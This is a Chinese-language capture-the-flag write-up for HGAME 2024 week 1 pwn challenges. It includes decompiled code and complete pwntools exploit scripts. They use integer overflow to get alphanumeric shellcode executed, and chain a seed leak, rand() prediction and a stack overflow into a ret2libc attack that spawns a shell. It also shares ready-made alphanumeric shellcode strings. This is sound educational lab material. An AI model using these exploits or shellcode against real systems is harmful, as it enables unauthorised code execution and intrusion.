[pwn]hgame 2024 week1 wp

1.EzSignIn

签到题，直接nc

2.ezshellcode

checksec，保护全开64位程序

丢IDA

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int v4; // [rsp+Ch] [rbp-14h] BYREF
  void *v5; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  v5 = (void *)(int)mmap((void *)0x20240000, 0x1000uLL, 7, 33, -1, 0LL);
  if ( v5 == (void *)-1LL )
  {
    perror("mmap");
    exit(1);
  }
  printf("input the length of your shellcode:");
  __isoc99_scanf("%2d", &v4);
  if ( v4 <= 10 )
  {
    printf("input your shellcode:");
    myread(v5, v4);
  }
  else
  {
    puts("too long");
  }
  ((void (*)(void))v5)();
  return 0;
}
```

跟进一下myread函数

```
unsigned __int64 __fastcall myread(void *a1, unsigned int a2)
{
  char v3; // [rsp+1Fh] [rbp-11h]
  unsigned int i; // [rsp+20h] [rbp-10h]
  unsigned int v5; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v5 = read(0, a1, a2);
  for ( i = 0; i < v5; ++i )
  {
    v3 = *((_BYTE *)a1 + i);
    if ( (v3 <= 96 || v3 > 'z') && (v3 <= '@' || v3 > 'Z') && (v3 <= '/' || v3 > '9') )
    {
      puts("Invalid character\n");
      exit(1);
    }
  }
  return v6 - __readfsqword(0x28u);
}
```

可以看到会执行写入的内存，但有两个点

一是长度限制，可以通过整型溢出绕过，二是myread函数会检查写入的内容，必须为字母或数字

看到题目就已经猜到了，这里写入可见字符shellcode

```python
#exp
from pwn import *

p=remote("139.196.200.143",32346)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
#一开始直接输入打不出来，仔细看了看应该是因为myread会检查v5个字符，整型溢出得到的v5写不满会导致exit，因此加了一个补齐
payload=shellcode.ljust(65545,'a')
p.sendline(b'-1')
p.sendline(payload)

p.interactive()
```

分享两个可见字符shellcode，都可以在网上找到

```
64位：
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
32位：
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
```

3.Elden Random Challenge

checksec，64位程序

```
└─# checksec --file=vuln
[*] '/home/kali/桌面/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
```

IDA反汇编

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h] BYREF
  char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
  int v6; // [rsp+18h] [rbp-8h]
  unsigned int seed; // [rsp+1Ch] [rbp-4h]

  init(argc, argv, envp);
  seed = time(0LL);
  puts("Menlina: Well tarnished, tell me thy name.");
  read(0, buf, 0x12uLL);
  printf("I see,%s", buf);
  puts("Now the golden rule asks thee to guess ninety-nine random number. Shall we get started.");
  srand(seed);
  while ( i <= 98 )
  {
    v6 = rand() % 100 + 1;
    v4 = 0;
    puts("Please guess the number:");
    read(0, &v4, 8uLL);
    if ( v6 != v4 )
    {
      puts("wrong!");
      exit(0);
    }
    ++i;
  }
  puts("Here's a reward to thy brilliant mind.");
  myread();
  return 0;
}
```

```
ssize_t myread()
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  return read(0, buf, 0x100uLL);
}
```

首先要求输入一个name，然后需要连续输入99个随机数，进入myread函数存在栈溢出

只要调用ctpyes库模拟随机数，然后栈溢出ret2libc就行了

其中格式化字符串%s打印buf时可以泄露seed内容，查看栈空间可以看出来

```
-0000000000000020 ; D/A/*   : change type (data/ascii/array)
-0000000000000020 ; N       : rename
-0000000000000020 ; U       : undefine
-0000000000000020 ; Use data definition commands to create local variables and function arguments.
-0000000000000020 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000020 ; Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020 ;
-0000000000000020
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 var_18 dd ?
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 buf db ?
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dd ?
-0000000000000004 seed dd ?
+0000000000000000  s db 8 dup(?)
+0000000000000008  r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
```

buf和seed相差`0x12-0x4=0xE`，seed占四个字节

（这里我一开始打算直接srand(time(0)撞时间戳，但是一直存在误差，所以这样做））

接下来就可以ret2libc了，注意堆栈平衡

附完整exp

```
import struct
from pwn import *
import ctypes
#hgame
p=remote("47.100.137.175",32537)

elf=ELF("./vuln")
libc=ELF("./libc.so.6")

myread_addr=elf.sym["myread"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]

random_libc = ctypes.CDLL("./libc.so.6")
random_libc.srand.argtypes = [ctypes.c_uint]

pop_rdi_ret=0x401423
ret_addr=0x40101a

payload=b'a'*0xE
p.sendafter(b'tell me thy name.',payload)
p.recvuntil(b'a'*0xE)
seed=struct.unpack("<i",p.recv(4))[0]    #接受到四个字节，转换成整数形式，注意小端序
print(seed)
random_libc.srand(seed)

for i in range(99):
    result=random_libc.rand()%100+1
```

```
    #print(str(result))
    p.send(p64(result))      #注意输入数字时read函数读取八个字节，这里采用p64形式，
sendline输入的'\n'也会有影响

payload=cyclic(0x38)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(myread_addr
)
p.sendline(payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

base_addr = puts_addr - libc.sym["puts"]
system_addr = base_addr + libc.sym["system"]
binsh_addr = base_addr + next(libc.search(b'/bin/sh\x00'))

payload=cyclic(0x38)+p64(ret_addr)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_ad
dr)
p.sendline(payload)

p.interactive()
```